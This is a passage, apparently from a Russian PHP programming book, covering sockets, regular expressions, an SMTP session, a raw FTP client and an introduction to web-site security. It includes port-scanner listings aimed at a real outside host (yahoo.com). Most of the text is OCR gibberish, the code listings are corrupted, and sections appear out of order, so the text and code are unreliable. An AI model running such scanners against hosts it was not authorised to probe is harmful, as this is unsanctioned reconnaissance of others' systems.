ynKtuam b 7ToM napaveTpe st yanaM 0;

3 CTPOKa, KOTOPAS COTEPAHT TEKCTOBOE OHCAHME BOSHMKIIEH OUIHOKH;

0 Bpews OAIAGHHA B CEKYWIAX, B TeSEHHe KOTOPOTO HYAHO OAJIAT COETHHEHHS.
ECITH BpEMS BHLTO, TO CHHTASTCA, HTO COEMHERHE HEAOCTYTIHO, H PAGOTa GYHKLUHH
Gyzer npeppaia

Uew OTAMNAIOTCS (yHKLIMH £=ockopen () W psockopen (1 OB OHI COTEPAAT OHHAKOBOE

KOTHYECTBO T1aPAMETPOB, HO NEPBAR YCTAHABIMBAET COETHHEHHE TOTHKO Ha BPEMS PAGO-

THl CUCHAPHA, & TIOCTE BHTIOTHENHA pIockopen () COETMHEHHE GYIET COXPAHEHO AWK

Hociie 3asepuieH#A paGOTH cuiehapws. HeronkyHTe GYKIUIO £sockopen (), KOTIA HYX-

HO COMIaTS, KPATKOBPEMENHOE COEAMHEHHE, KOTOPOS MOKHO CPAY TIOCE BHTIOTHEHHS

CUEHapHA IaKPHITE. ECH TPEGYETCA J0TOBPEMHHOE COSTHHEHT, B TESEHHE KOTOPOTO

TIOTH30BATETh AOTAEH HMETS BOIMOKHOCTS BBOA H NIPOCMOTPA HH(OpaLIH, T GO

e NOTXOAWT psockopen ().

TIOGMOTPHTE Ha IpHMEp HCTION30BaHHS GYHKUNH psockopen () UTA COSIMHEHIS C T10p-
Tom 80:

$smpsockopen ("servernane. con®, 80);
Tlo ymonsanmo Gywkun BwGHpact npotokon TCP. Ecan saw neoGxomnm UDP, 1o
B WSO A1peca CAEAYET J0GABHTS HMA MTPOTOKOMA ud: //, HATPHMEP:

Ss=psockopen ("udp: //servernane.con®, 80);

DYHKUNA BOIBPALEET HAM WISHTHDHKATOP COKETa, © KOTOPHM MOXHO paGorars s
TIEpEIaNH W NOTYUEHHS AQHIHBIX OT CEpBEp.

O6meH AQHHEIMMU

MBI IOZOULH K TOMY, DA HETO PACCMATPHBATIOCh Tak MHOTO (byHKIUAH, — 0Gwen Aan-
HUIMH C YARTEHHEIM KOMTLIOTEPOM. P4 STOTO M COVIaBaTH CoeTmHerHe. L% nepe-
MM JGHHBX HA YIATCHHbIH KOMTHOTED HEOGXOIMMO BWNOTHTS (byHKiio
socket_write():

et_write(int socket, string buffer, int length)
3nech Tpu napavierpa:

0 onpu
nawie;

O 6ydep AaHHBIX, KOTOPHIE MbI OTIPABAAEM;
0 pasep nepezavaenix TamHBIx.

1l COKET © YCTAHOBIICHHEIM COCTMHEHHEM, HA KOTOPHli HYXHO nepesats

B KatiecTse pesy1bTaTa (yHKILAS BOSBPALLAET KOAHYECTBO PEATHHO MIepenaHHbIX GaiTos.
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O Pa3, To MOKHO HATWCAT PeryTAPHOE BHPACHHE Ar. HIK NTIOCE YKIMBACT Ha
"HEOGXOIMOCTS TIDHEYTCTBA GyKBI A XoTA Gt O pas

[ECM rociie CHMBOTA YKASATh IBEVIONKY (), TO 5TO Gy IET O3HANATS, HTO CHMIBO MOKET
BCTPESaTRCA M0G0E KOTHHECTBO Pa3 WIH OTCYTCTBOBATS BOOE. ECIH HYKHO, TG
CHMBO MPHCYTCTBOBA B CTPOKe He Gaee OANOTO Paja WK HH Pasy, To HenOmL3yiiTe
3wak Bonpoca. Hanpwwiep, A2

Moo  Gonee TOHKO YIPABISTS KOTHUECTOM HEOBXOMMMSIX CHMBOTOB. JUiA 5Toro
TI0C7e CHMBOITA HCTIOTE3YROTEA BHTYPHBIE CKOGKH:

[ ]

Tlepeiil NGPAMETD — MHHHMATHHOE KOTHUECTBO BXOKICHWH CHMBOTE, & BTOPOH —
MakchMasHoe. HaTpHMEp, CTeyIoliee BHPEKEHHE COOTBETCTRYET CTPOKE, B KOTOPOT
Gyksa A BeTpesacTes ot 2 10 S pas: A(2, 5}

ECTH aNATa% # BTOPO/i NAPaMETp B PHIYPHEIX CKOGKAX OMYILEHH, TO PETYAAPHOMY B
PaKenHIo GYCT COOTHETCTBOBATS CTPOKA, B KOTOpO YKaSaHHIsi CHMBON BCTPENAETCA
CTOEKO Pas, CKOTLKO YKa3HO b napaweTpe. Hanphvep, CieTyioliee peryispHoe Boipa-
KeHe COOTBETCTRYET Tpew Gyknam A: A(3).

ECI B CKOGKAX OTCYTCTBYET BTOpO/i MapaNETp, HO MPHCYTCTBYET SaTATas, T0 CHMBO
OTKEH BCTPESATECA B CTPOKE HE MEHbLIIE MHHHMATBHOTO KOTHHECTBA i3, Ho 03 orpa-
Hirscnins. HampMep, ClEAYIOUIEE PEryIApHOE BHPIKCHHE COOTBETCTBYET CTPOKE, B Ko-
Topo HweeTeA 5  Gonee Gykp A: A(S, ).

Paccworpim mpiep:

Stext= "25111111117
Snowtext = ereg_replace("SLi,1", "KK", Stext);

3nech b cTpoke "2511111111" Mot Miziew cHMBOT "S", 52 KOTOPbIM CACAYET 11060 KO-
HecTBO euHHL, Gobiiee W paprioe 4. HALIEHHAR CTPOKA JAMEHAETES ABYMA CHBO-
7asi "X". B JaHOM MpHMCPE Ha BIXOZE Mt noys CTpOKY "2XX".

Ouens, wTepecHoro xpdexta MOKHO JOGHTECA ¢ TOMOUIBIO cKoGoK. JlomycTi, WTo
HyKHO HaliTH GyKBY A, 32 KOTOPOR MOKET WITH (2 MOKET, H HET) 1I0CTEAOBITE IBHOCTS
ciMBo10B "bed". JLTA STOrO MLIEM HYHYIO GYKBY, & 3ATEM B KPYTbIX CKOGKAX YKEIb-
BaEM BOIMOKHYIO TOCTEIOBATEHOCTS CHMBOTOB: A (bcd)

Hro e HTepecHoro B ckoGkax? PaccMOTpHM CeAyIoUuHHi IPHNE, B KOTOPOM ¢ 1o~
NOUILIO yHKIAM creg () AATa PAsOHBASTCA HA COCTARTAIOUIAE, & FOTHO YBMINM Ha
npaKTHKe, Kak paGorar ¢ oToM yKIEH:

Sdate = "01/09/2016"
Snewtext = exeg ("([0-9]{1,2))/([0-9) (1,21} /([0-9] (2,41)",
sdate, Sregs);

prin ("<p>paxan 0 = Sregs(0]"):
print ("<p>paran 1 = Sregs(1]");
print ("<P>Paran 2 = Sregs(2]");
print ("<e>Paran 3 = Sregs(317);






index-224_1.png
228 rnasas

5.7. Pa6ota ¢ 3N1eKTPOHHOIA NouTOM

DEKTPOHIAA 0TA NOABKTACK B HHTEPHETE MepBofl 1 347070 10 BOSHHKHOBEHHA TpH-
BbruHbx Ham Web-CTpanwiL 3a BPEMH CBOSTO CYUIECTBOBAHHS TTONTa CHISHO HIMEHH-
nach, HO MpH ITOM He NOTEPLIA CROE AKTYATBHOCTH W HCTIOTBIYETCA K0 CHX op. Ha-
TIDHMEP, /13 MEHR TIONTA ABTAETCS OCHOBHON CTYAGOM. A TAK Kak 9Ta C1yAGa CBAIaHA
 ceremsin coeuHeHHEM MEAAY ceprepani (Web-CepREpoM H TIONTOBEIM CEpBEPON), TO
Mo OGA3aHH €€ PACCHOTPeTS.

Tipi paGoTe ¢ AEKTPOHHOH MONTOH €CTH ONPETETEHHHE CAOKHOCTH, & HMEHHO — LIS
OTTpaBKH COOGUICHHS  €rO TpHENA HCTIOT3YIOTCA PASHbIE MPOTOKOTS. JU1% OTIpaBKH
BH1 0K HCROT30RaTh MpoTOK0A SMTP (Simple Mail Transfer Protocol, mpocofi
NPOTOKO MepenasH COOGILEHHH), @ 1A YTEHAR HAHGOICe TOMYADHBIM Ha ZaHHb MO~
et amnseres npotoxon POP3 (Post Office Protocol, opwersiit nowrossii npotoxo).

Be30MaCHOCTS MONTOBIX GG — 370 BOOGILE OTAETBHAA TEMa,  OHa BHXOIHT 3a pa-
K0t 2aHHOH KHATH, HO B IOTAHb! YIHTHIBATS, YTO CAMA CAYADA MOKET GHITh TIOTBEPAE-
wa araxam xaxepos. Hanpiep, o HanGonee omyasproft nowrosofi cryade s UNIX-
cHeTen, Sendmail, 33 BGIO HCTOPHIO €€ CYILIECTBOBIHHA G0 HAWIEHO CTOTIEKO YA3BHMO-
e, 4To XbATHT Ha 10 CEPBEPHBIX TPOTPaNM.

Sasem wyxna nowra Ha Web-caitre? Kax My, oHa TpeGyeTcs 11 paccsunin HOBO-
Teil, Ge3 KOTOPHIX YKe TPYIHO NIPEACTABHTE CeGe KaKkof-1nG0 caifr. HeoGxommo co-
OBaTh OT30BETE AN O COBHITHAX, KOTOPHIE TPOHCKOAT Ha CEPBEPE.

5.7.1. Tipotokon SMTP

Hauriew paGoTy ¢ MIOWTOM © PACCMOTPEHNA MPOTOKOTA OTTIpABKH co0GuLEHHH SMTP.
B peansHoit AU Baw, CKOpEe BCETO, HE NPAICTCA HCTOTIOBATS STOT NPOTOKO, HO
KEATELHO TOHHMATS €ro. JIKe €CTH B F3bIKE MPOTPAMMHPOBAHHA ECTh BHCOKOYPOB-
HeBbic YHKLIM, KOTOpSIE TIPFHYT B0 CIOXHOCTS MPOTOKOIIA, SHAHHE KOMAHI HHIKOTO
YPOBHA HHKOTIa e MOMEwaeT.

Hirak, nporoxon SMTP HCIOAEYeT MpOcCTHie TeKCToBME Kowanzs, Ka  FTP. Jlocta-
TOMHO TOTEKO NOTKTIOMHTECS K HyAHOMY TIOpTY (10 ymomsamiio SMTP-cryxGa pao-
‘TaeT Ha 1Opry 25) W OTNPABIATS CepBepy HEOGXOMMMSIe Komarzs. Her, Boe TOKOCTH
KOMaHIb Mbi OBCYAIATS He GyeM, HO MpoCTeFIHi IATON MEAIY KTHEHTOM H CepBe-
PoM ywN:

220 sntp. aaanet. ru ESHTP Exim 4.30 Wed, 14 Jul 2004 15:20:17 40400

HELO notebook

250 smtp.aaanet. ru Hello notebook (60.80.93.951
MAIL FROM: <vasyaGpupkin. rux

250 ok

RCPT 10t <chorri ficive-online. ru>

250 Accepted

oara

354 Enter message, ending with "." on a line by
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O 3Hax J0TAPa YKEIMBAET WA KOHew CTPOKA, Hampiwep, cextyioee peryaproe Bt
PARKEHHE COOTRETCTBYET MIOGOMY CII0BY, KOTOPOE SAKAHIHBIETCA HA Z: 25,

KaK BIIHTE, B PeryIHEIX BHP&XCHIAX MHOTO CHMBOIIOB, KOTOpHIC ABISIOTC CIYKeS-
wbin. JlonmyCTin, T0 y Hac ects cpoxa: “[B]Hello[/B] world from [BJPHP{/B]". Kax
JaMeHHTY IOCTEA0BATEbHOCTS cHMBooB (8] HTML-rerow <>? Ecin mamwcas ce-
AytouH Ko7, TO HiYEro He BHTZCT:

Stexte "(BlHellol/B) world from (B]PHP(/B1":
Snewtext = ereq_replace("(B]", "<B>", Stext);

PeryaspHoe BHpaKerHe (5] NPOCTO COOTBETCTYeT Gykbe B, a Kea1paTHbie CKOGKH Boc-
TIDHHHMAIOTCR KaK CAYKEGHHIE CHMBOT. UTOGH OHH TAKXKE YHACTBOBATH B TIOHCKE, He-
OBXOMHMO Nepet KA 1 WX TIOCTABHTS 3ak creua. CICAYIOUUAH KOR YAKE YATHO
pOHIBEET BeE HeoOXOHMBIE ameHB:

Stext= "(B)Hello(/B] world from (3]PHP(/B)";
Snowtext = exeg_replace ("\[B\]", "<B>", Stext);
Snowtext = ereq_replace ("\(/B\]", "</B>", Snewtext);
echo (snentext);

51 e 3pa npen Taxoi mpMeEp, Beb B HITCPHETE 0NEHS HACTO MEMOTIYIOTCH Terk
B KBAIDATHEIX CKOGKEX BMECTO YIJIOBGIX, & IOTOM KBAZPATHE CKOGKH NPOrPAMHO
TOIMERRIOTCA YrOBbiMH. 3a4en? JIE0 B TOM, STO MOTHIOBSTENIO HHOTAA HYKHO 1T
BOIMOKHOCTS BHUAEANTS WIPHDTAMH WIH CTWIAMH OTPETETCHHSE YNACTKH TeKCTa. JUit
3TOTO NPHXOITES PASPEIIATH YIAOBBE CKOBKH, HTO0H NIONB3OBATENS MOT CTRBHTS Ter¥
HO r2¢ TapaHTWA, WTO 0 GYET MPHEHATS TONbKO PAspeIenHBie KOHCTPYKIUH? Kak
3AMPETHT Bee Terw, Kpowe GOpMATHPOBAHHA?

OTMHbH BAPHIHT — HCTIOTH3OBATE BMECTO YTAOBHX CKOBOK STO-TO HHOE, HATDHMED
KpazpaTHbie. cKoOKH, W 3aweHsTh ot HTML-terav mporpavnio. Taxise 0Gpason,
SAMPEUIEHHMMH GYIYT BCE TETH, & PASPELICHHHIMH — TOTKO Te JAMEHHTEH, KOTOpHE
BB PEATHIOBATH MPOTPANMHO.

Teneps y Hac aocTaTOuHO MHGOpMALIH, “TOGH CovtaTh KaKoe-HHGY s Gonee HHTEpec-
HOE PETyApHOE BHpIKEHHe. PACCOTPHM a1pec STEKTPORHOH ONTHY Kak MpOCTOM, HO
P ——

JI1a Hauana HEOGXOIHMO TIOHATS, KIKHE CHMBOTS MOXHO HCTOTB3OBAT B CTPOKE.
B iexTponmom azpece MOrYT Ghrmh moGhie GyKnbi aTHHCKOrO andapTa, WP, NOA-
uepKHBalHe, THPE WIH TOuKH. Taki 0GPA3ON, PEryIAPHO BHIPDKEHHE GYIET BHIIS-
A€ CreAYIOM 0GpasON:
~(la~2A-20-3\. \-1+8a-2A-20-9\,

140 (a-2A-20-8141 4145

tiroG npoue Go10 ok waGiow, AaaiiTe ero paxGepen o HacTAM:

0 *(fa-2A-20-5\. -]+ — B Ha4Q7e CTPOKM 10 CHMBOTA & WIET HMA TIOTH30BATETA 110Y-
TOBOrO AUUIKA, 31eCh MOTYT GBITh MOGHE PAIpELICHNBIC CHVBOTH, HO NIpH 9TOM
JIOTAHO TIONYUHTECA WA XOT Gbl H3 OIHOTO CHMBOA, TIO3TOMY B KOWLE yKasan
awak +;
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B niepemeniyio sdate TanCHBaEM NPOHIBOTLHYIO AaTy. CreAYIOIeH CTpOwKOH M pas-
GBacn 9Ty ATy Ha COCTABTAIOUE C IOMOUIBO GyKuH exes (. Jlavalire MpoanaTH-
aMpyew perynspHoe Bhipakenve. Jlin YIOGCTBA GyAe PACCMATPHBATS €ro M0 HaCTAM.
B NIEpBAIX KPYTABIX CKOGKEX YKa3aHO ([0-9) (1,2)): B KBAIPATHBIX CKOGKAX MOKEANO,
TO M5 HLleN WHCT0 0T 0 20 9. 3aTeM B PHIYDHBIX CKOGKAX YKASHBAETES KOTHHECTBO
OBTOperHi L @pHL. JL1% KT 1 HOMEPA MECALIA MOKET TIOTPEGOBATECS OT | 10 2 .
BIOpHIE KPYFAHIE CKOGKH OMHCHIBAIOT MECAIL, W 3T0 OIHCaHHE WICHTHYHO Siciy. B 1o-
CIIEHIX CKOOKAX OTHCBAETCA TOX, W TYT KOTHYECTBO MOBTOpeHHi Wb 012 104,
Mekity CKoGKAMH CTOMT SHAK-PAVICTHTE!Th JaTH, T. €. CEI

Tlocte pasGHeHiA Ha Kpa BHBOIHTCA CONEPAHMOE MACCHEA, KOTOPHIH mepenaBarca
B nocewem napanerpe:

Param 0 = 01/09/2016

Param 1 = 01

Pazam 2 = 09

Param 3 = 2016

3€Ch BWIHO, 'TO HYEBOH YTEMEHT MACCHBA — KOS PasoHBaEMOH CTpOKH. OcTath-
Hie MEMENTH — 5T0 CoCTaRTAONME AaThi, DYHKIA exes () pasoTa ATy Ha TPH co-
CTABTAIOILHE B COOTBETCTBMH ¢ PACCTABTEHHBIMM KPYTABMM CKOOKAMH. Bce, T BHe
aminx cxoBoK (cem), Gbuto oT6poIEHoO.

Takoe OnHCaHHe AaTHi He COBCEM KOPPEKTHO, TIOTOMY 'TO Mbi 7IETKO MOKEM HTHCATS
caenyioiyI0 aTy: 99/99/9999. Ho 970 HEZOMYCTHMO, Beb HHCIO He MOKET GbiTh
Gonbiue 31, a MecAIr He MOXET MpembiaTh 12. Boie KOpPEKTHEIN GYZET creayiouiee
peryaspHoe BupwKenve (npivep nokasan v popwata MM/JUITTTT):
([11210-91)/(11-312(2-81)/ (2010-9] (0-31)

Teneps MeCALLy COOTBETCTBYET CCAYIOUIEE BHIPKCHH
HYKHO Pa3GHTS €70 Ha Abe HacTH:

112(0-9). UroGt nowsTs ero,

3 1117 oamasaer, o B wavane MoeT WITH eamA;
3 (0-5] — BTOpOE HEO MoKeT BT O YA 20 9.
Takoe BHPRKEHHE YA€ Ty, TIOTOMY HTO MAKCHMATHHOE SHAYEHHe, KOTOpOE MOKHO
Gyaer nowecTuTs B Aaty: 19/39/2099. 310 ke K ACHCTBHTENLHOCTH, XOTA TOXE Ha-
PYWACT ACTCTONTE bHOCTS AaTH

ECTS €llle HECKOTEKO CHMBOTIOB, KOTOPHIE TIO3BO/AT HAM CIEAT PEryIAPHOE BHIpIKE-

e Gotee YHMBEpCaTsHbIM. K TAKIM CHMBOTIM OTHOCATCS:

3 TouKa — sawenser moGoii oxMHoNHBH cMBOR. JIONYCTIN, HTO B HE JHaCTE, Kak
TR 1080 — script W Skript (BB comHenacTech Bo BTOpoit Gyke). ITpotena
PeUIAETES 3aMEHOF COMHHTEBHOM GYKB Ha TOUKY. B 3TOM Cilyuae B pesyIsTar no-
nanyT oGe crpoK;

3 ccu HYAHO YKaaTS, “TO GyKBb JOTANS GHITH B HasaTe CTPOK, TO iepea HMI
HYKHO TIOCTABHTE CHBo7 . Hanpwep, cenyioulee peryIapHoe BHpEKeHHe Gyier
COOTBETCTBORATS BCeM CTPOKAN, HASHHAIOUUINGA Ha GyKBY A: °
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print ("<e> flopr omiqm 34 (Sportnane)");
Ss=socket_create (AE_INET, SOCK_STREAI, 0);
'

Tereps cosiane cokera GYAET MPOMCXOTHTS POBHO CTOTBKO Pas, CKOTBKO OTKPHTO
nopros, maioc 1.

5.6. FTP-KNUeHT HU3KOro ypoeHs

‘Tenteps PAccMOTPHM TIpHMEp MIPHEMA/epeaH TaHIBIX 10 CeTi. JI18 HATIOCTPALIH ie-
penat namnx Hamwnem FTP-kiwewra. Jla, y PHP yke ecth rorossie dyKu s
YUPOUIEHYS NPOTPAMMMHPOBaHIA, HO MbI HE CTAHEM HMH TIOTH30BATHCS, @ OTKTIOMMCE
K ceppepy HANPAMYIO H GYIeM BHTOTHATS HerlocpexcTBenHo FTP-Kowanasi. Pagorars,
HATPAMYH0 ¢ KOMAHIAMH HE TaK YA H CIOKHO, W, SHAS HX, Bb1 CMOXETE PEaTHIOBaTh o~
Gofi mpoToKo.

He Gytew OTRIEKaTHCA 1 cpasy nepelizien K PACCMOTPEHHIO TPHMEPa (THCTHET S.4).

| PwcTnr 5.4. Mipuwep FTP-xnmewTa

<zphp

1/ Wsnsanusais

Shost_ip=gethostbynare ("localhost™)
Ss=socket_create (AF_INEY, SOCK_STREAM, O);

1/ Covmmnenca ¢ copoepor
Lf (1 (Szesmasocket_comnect (35, Shost_ip, 21))) {
die("Can'e connect. to local host”

)

print ("<B>Connected®) 1

11 snnaen crpoxy npusercrsa
PEARCE("<p> < ¥5¢/p>", socket_read (33, 1000, PHP_NORWAL READ));
socket_read($s, 1000, PHE_NORMAL_READ);

// Onnpannses wouazy # \wrracst pesybTaT aBROPHIAIISE JaeHA Onk30BATERS
$str="USER flenovin'
socket_write(ss, Sstz, strien(sstr));

print (fep> > Sstx </p>");

Print ("<p> < 45 </p>", socket_read(Ss, 1000, PHE_NORMAL READ));
socket_read (85, 1000, PH?_NORWAL READ) ;

1/ Ormpannses ewazy  wiraeu pesynTar aBTOpHRAWS RapoTeM
$5tr="PASS password\n®;
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O fa-22-20-5\._-1+— WA CepBEDa, KOTOpOE HIET IOCAE CHMBONA ¢, Taloke OBwAHO
IPHCYTCTBOBATS, # OHO ZOUAHO COTEPKATS T& KE CHMBOT, NO3TOMY 9T HacT ana-
A0rHHA HeHH MoT30BaTE;

O (\. la=2A-20-9)+) 5 — WM3 JOMEHa. 31ECh MOTYT Gt WwGpst # Gyxssi. B Mirep-
HETe Mt paGOTAEM ¢ GyKBEHHBIMH HMEHAMH JOMEHOB, HO B IOKATBHbIX CETAX HHOTAA
BCTpeNaoTcR W n(poBbie. TIpH STOM MM AOMEHA SBTAETCR HEOGTIATETLHAN, H 06
370M roBopT cieon *.

KaK BAIHTE, HCTIOTEI08aTS peryTApHHE BHpEKEHHA He Tax yx 1 Tpyawo. Tlpocreiiume

WaGTONB MOXHO COSTATS JOCTATONHO GHICTPO, XOTA HX CTOKHBIMH MPWIETCR NOMO-

TeTh, W JWKE €CTS YTPO3a OIIMGHTECA, 1O MOKET CKASATECA Ha GE3OMIACHOCTH CIIEHADHS.

7061 06 TervTs AK3HE MPOTPAMMHCTaN, B PHP €CTh KIGGCH! PEryApHBIX BHpaKerif,

KOTOpHe COOTBETCTBYIOT HAHGOTEE WACTO WCTIONB3YEMSIM WIaGTOHaM.  PaccMOTpHM

TaKHe BHpIKCHHA:

O ([:digits]] — COOTBETCTBYET MOGHIM LGPAN, T. &. SRTAETCH IKBHBATEHTOM Pery-
AAPHOTO BLPEREHMS (0-91;

O {(:alpha]] — COOTBETCTBYET MOGHM GyKBAN, T. €. FBTAETCH IKBHBATEHTON pery-
AAPHOTO BLPAXEHNA (A-Za-);

O ((:alnum: 1] — COOTBETCTRYET OGHM GyKBaM HIH LHGPA, T. &. ABIAETCS HKBHBG-
TEHTOM PEyAAPHOTO BHIPEXEHHA (A-Za-20-9).

‘CreayioHii MPHMEp IOKA3HBAET, KaK B CTPOKE SAMEHHTS BCe WHPPHI CHMBOTOM X:

Stext= "13nk1321310%;

Snewtext = ereq_replace (*([:digit:]"

e, stext);

3.6.3. Mcnonb3osaHue perynapHux ssipaxenHuii Perl

Korza nosswca PHP, 7o ocHossin ssstkow s Web Goun Perl,  y Hero cnocod sani-
CAHHS peryIWpHBIX BHPEKEHHH HEMHOTO OTAHUACTCA OT TOFO, KOTOPAI| MpHHSIA Ha
Boopyenie b PHP. TIepemiChBaTh bCe PEryAPHSIE BHPEKCHIA He OEHb YI00HO, i
NHOTO TIpOLLE HCTIOS3OBATS TO, 4T YK€ CYLLECTBYET H OTAKEHO

ECITH Bt MMEH OTTHIT MpOTpaMMMpOBaHMS Ka Perl, T0 aw y0Gee GyIeT HCMOTb308aTS
WMEHHO 3TH WAGAONH, K TOMY Xe, OM MPEOCTARTAIOT GOTBuIE BOMOAHOCTER. Bee
O M1 PACCMOTPETS He CMOEM, 1O Ha OCHOBIIX OCTAHOBHMCA MAKCHMATHHO o7
poGio.

HEKOTOPHIE CrIewHaTHCTS! YTBEpAAIOT, 410 Perl-BHPEXEHIA PAGOTAIOT B HECKOTHKO Pas
Guicrpee. 5 e GepyCh MOLIEPXHBATS 1O YTBEPKIIEHHE, & MO MPOBEPKI He MIOKAIATH
oco6oli pasHL.

Ha 3707 pas Mt Gy e 1eHiCTOBATS B OGPATHOM NIOPAIKE: CHANATA YIHAEM, KK TTHCATH
PETYIAPHIE BIPUKEHWS, & TIOTOM YKE OGCYIHM QYHKUNH, KOTOPHE MOXHO HCTOTS30-
Bai. Jla, GYRKUIH 114 paGOTH ¢ PeryIAPHIIMH BbpakeHMAMH Perl otaimiaioTea ot
byt PHP, WX Mt PACCMOTPHM B CTEYIOUIEN pasere.

Perynsprsie seipaKenna Perl 3akmosaiorcs Mexay AByws crewiaws. Hanpiwep, cre-
youi wabion cooTsercrayer cosy hacker: /nacker/.
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TIporpaMHpoBaHHE WiTEpHET-TpHIOKeHHH, B Tow wHCTe W paGoTaOUIAX B Gpaysepe,
~MpeAnOAaraeT GOTHUIYIO OTBETCTBEHHOCTS 38 GE3OMACHOCTS H 3AUITY AaHHHX. ECTH Bbt
HAWUIET KATCHAAPS, KATHKYIATOp WIH TEKCTOBBIE PEAGKTOP, TO TAKHE MPOTPAMMB,
CKOpee BCero, He IPHBICKYT BHMAHIS XAKEPOB, H He TaK YA MHOTO CrlocoGoB JKCrUTya-
THPOBATE TIOTOGHHIE TPOTPANM

Ho ecn B paspaGarsisacte Web-caltr, Auke cawsifl IPOCTOM, Balll TPY X MOMEHTATSHO
‘OKEXETCA B SOHE BHHMAIHA 310YMHULTEHHHKOB. OH HANHHAIOUIHH NPOTPAMMIHCT Kak-
0 Boswyrwcs: "KoMy HYAHS MO 7HHHIA JOMANAS CTPaRMSKA? KTO Gyer ec Bya-
MbiBATS pai 7ebefica?” BHHMAHHE MOAET MPHBTEHS He Cam CaiT Wik WHbOpMALIAR
HeM, H AQelic (cMeHa TAGBHOH CTPAHYILS) — AAIEKO HE ETHHCTBENHAS LETh XGKEpOB.
L{enbio MOAeT GhiTh He caw: caifT, a cephep, Ha KOTOpoM bee padoract. Tloyus nonHs
A0GTYT K CalfTy, MOKHO HCOI0BATS €10 B APYTHX, HE OYeHb TEraThHHX JETaX.
BYIOMAHHHE W TIOTKORTPOTHHIE VIOYMHILIEHHHKAM CepBepst B HHTEpHETe sBIRIOTCH
Qi USHHBIM PECYPCOM, BETb ¢ HX TIOMOLIO MOXHO NPOBOZHTS aTakk Ha APYTHE Pe-
cypess Cers, mpirten anOMHMHO. Hepes FVOMaNHBE CalfTii PACTIPOCTPIHAIOT BHPYCH
IPYTYIO KOMIBIOTEpHYIO 3apasy.

51 curtaio, 1o GesonacHocTs MpH paspaGoTke Web-catTob BkHa BHE JABHCHMOCTH 0T
Paswiepa caliTa i €r0 NPHBIEKATENLHOCTH V1A JTOYMHILLTEHHYKOB, H Mol GYIEM JyMATh
0 Hell IOCTORHHO Ha MPOTRKeHMHH BeeH KHMTH. JIa, GE30MACHOCTS — 310 KOMILIEKCHBH
BOPOC, OTBET Ha KOTOPSIF KPOTR HE TOTIKO B OCOGEHHOCTAX A36IKA POTPANMIPOBA-
HHA, HO W cephepa Ga3 aanHbX, w OC, 1O YIPABICHHEM KOTOpOFi o€ 310 paoTacT.
Be101IacHOGTS HEBOIMOXHO HIMEPHTS, TIOSTOMY OYCH CIIOKHO CKA3AT, KOTAA GE30TAC-
HOCTS CTAHOBHTCA A0GTATOSHO.

1.1. Yro Takoe PHP?

Stanix PHP (onvn 3 napwarrron pacuposicn a6Gpeswarypi — Personal Home Page
"TO0lS, HCTpYMHTS! TEpCORATHHAIX JOMAUIHIX CTRAHHIL) — 970 ATHIK CUSHAPHE C OT-
KPHITHM HCXOTHBIM KOZOM, BCTpawBaewbix b HTML-kon # BunomHsewsix Ha Web-
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Korza wailzen OTKpBITHI NOPT, M OTEACIAEM €O MM ¢ MOMOMINIO KM

getservbyport (). ITO GYHKIMH NEPEAGETC HOMED HARIEHHOTO IOPTA H MM TPOTOKO-

72 TCP, MOTOMY T Mb1 CKAHWPYEM HMEHHO 9TH NIOpTS

B awcTHiTe 5.2 MOXHO YBHAETS CKatiep nopros UDP. TyT soero swa orvwims ot TCP-

cKanMpoBaIA:

Oy (hymwa socket_create () BTOPOH MapaMETP panch SOCK_DGRAY, 70 COOTBETCTRYET
UDP-nporokony;

OO fipi onpezeneHHH veHH CAYAGH Y BYHKUMH ceservbyport () BTOpOH napawerp
pase uds.

[ et 52, Crannposanve UDP opron
<o
Shomt_ip = gothostiymane (e yahoo.con")
fox (5iuls $1¢0100; $14)
|
S3msockat,_create (A8 VT, SOGK DGR, 0)7
Sres-gsocket_comnect (53, Shost_ip, $1)5
it teren
1
Sportnane-gotsexvhyport 55, "up s
print (e Tops omvpus 51 (sportnane) "
)
)
»

Hauu cariep IOPTOB He OTHMHIHPOBH, H & CHHTAIO, SO €10 HAZIO OMTHMHIHPOBATE.
Lk punonnserca 1024 pasa, W KIKIYIO HTEPAIMIO ML COYIAEM COKET C TIOMOLIIO
QYHKIAN socket_create ). DTO OTHHNGET THIIHHE PECYPCE! CEPBEPA H BPEMS, & BE
COKET HYAHO COVIABATS 210 HASATA LMK K TOCTE YCIIELIHOTO COETHHEHHS C CEPBEPOM.
ECTH COEIMHEHME MPOILTIO HEYAHHO, TO MOXHO G563 BHI0BA socket_create ) MHTATHCA
OTKTOUHTECA Ha PYTOM NOPT. B HCTHHTE 5.5 NIOKASAH OITTHMHIHPOBIHHMIA BPHAHT
[ —

[ e 5.3, Onmuumauposani cxawep nopros

<xpp
Shost_ip = gethostiymane (", yahoo con®)
Semsocke.create(AE_INET, S0CK_STRERY, 0);
for (sim17 $1<e100; $1++)
i
Sres-asocket_connect (33, Shost_ip, $1);
(szes)

t
Sportname=getservbyport (31, "tep") ;
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VIrak, \ MMEeT CrieuMaIbHoE SHaUCHHE, HO eCTH HEOBXOTMNO YKAJATS ITOT CHMBOT, He
BICIQZILBAN OMPEEACHHOTO CMHICAA, TO YKIKITE €ro JBAXIH.

Paceworpiu npiwep. JIONYCTHM, “ITO A HYKHO YKA3aTh TP HOCAIORATENBHO HAY-
ke UHQpi. JUTA ITOTO MOKHO HCIIOTKIOATS CEAYIOULEE PErYIAPHOE BHIpAKEHHE

Navaas
To e CaMOE MOKHO SaHCaT, WHaE:

Nati/

“Teneps MOCMOTPH, Kak MOKHO COVIATS WaGOH 1 i, GyKest W L ppi:

Navaar

Vo sazauy. JIONYCTM, HT0 HEOGXOHMO HalfTH CTOKY, B KOTOpOH BHEHAE HIYT

OT3 710’5 cHMBOTOB, 3aTeM NpoGen  Aatee 0T 3 110 7 WA, PeryApHoe BhpaKetye
Gyner akuw:

JIA213,TNSN3,4) /
Ha MOfi B3I1A, KTIOH \ MeHCE HATALIHBL, HO KO BCEMY MOXHO TIPHBLIKHYTE.

Kax o perynspusix ssipaxeux PHP, b Perl-ma6ionax MOKHO HEOTB308aTS TOKY,
KOTOpaR OHAYAT AK0GO OTHHOHIR CHMBOT.

B peryaspusix mupaxennax Perl MOAHO MCTOTSIORTH W KBAIDATHBIC CKOKH 1%
SALAHAA JHATIEIOHA BOSMOKHBX sHasehwi. BOT peryapHoe BHDRKEHHE, KOTOpoe cooT-
BETCTRYET MOGHIM LHPaM 1 3ATTABHEM GYKBaM: /(0-9A-2) /. A creIyIouil npNep
TIOKASHIBAET, KAK 3AMEHHTH B CTPOKE CHMBOAB, BXOMALIAE B AMATGSOH, CHMBOTOM X
